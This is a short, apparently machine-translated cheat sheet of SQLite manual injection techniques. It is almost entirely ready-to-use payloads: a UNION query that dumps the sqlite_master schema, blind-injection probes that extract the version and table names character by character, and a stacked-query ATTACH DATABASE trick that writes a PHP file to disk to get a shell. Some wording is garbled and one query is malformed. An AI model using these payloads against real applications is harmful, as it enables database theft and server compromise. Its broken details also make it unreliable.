A summary of SQLite manual injection method

SQLite website Download: www.sqlite.org/download.html

SQLite management tool: Http://www.yunqa.de/delphi/products/sqlitespy/index

Sqlite_master hidden table, the specific contents are as follows:

Field: Type/name/tbl_name/rootpage/sql

SQLite Injection test:

1. Union Select query

SELECT * FROM test where ID =1 and 1=2 Union select Name,sql from Sqlite_master

2. Blind note

SELECT * FROM test where ID =1 Union select 1,length (Sqlite_version ()) =6//Get SQLite version bit number

SELECT * FROM test where ID =1 and substr (Sqlite_version (), 1, 1) = ' 3 '//Get SQLite version first 3

SELECT * FROM test where ID =1 and substr ((select name from Sqlite_master where type= ' table ' limit 0,1) = ' T ' (case sensitive, has difference)//Get SQLite table name first bit is T

3, Getshell

SELECT * FROM test where id = 1; ATTACH DATABASE ' c:\\sqlite\\xiaozi.php ' as PWN; CREATE TABLE pwn.exp (Dataz text); INSERT into Pwn.exp (Dataz) VALUES (' <?php phpinfo ();?> '); --

Reference Links:

Win7 SQLite installation configuration and how to use: http://www.codeceo.com/article/win7-sqlite-usage.html

Windows under Install Configuration SQLite and tutorials for use: http://www.weste.net/2014/10-08/99347.html

A summary of SQLite manual injection method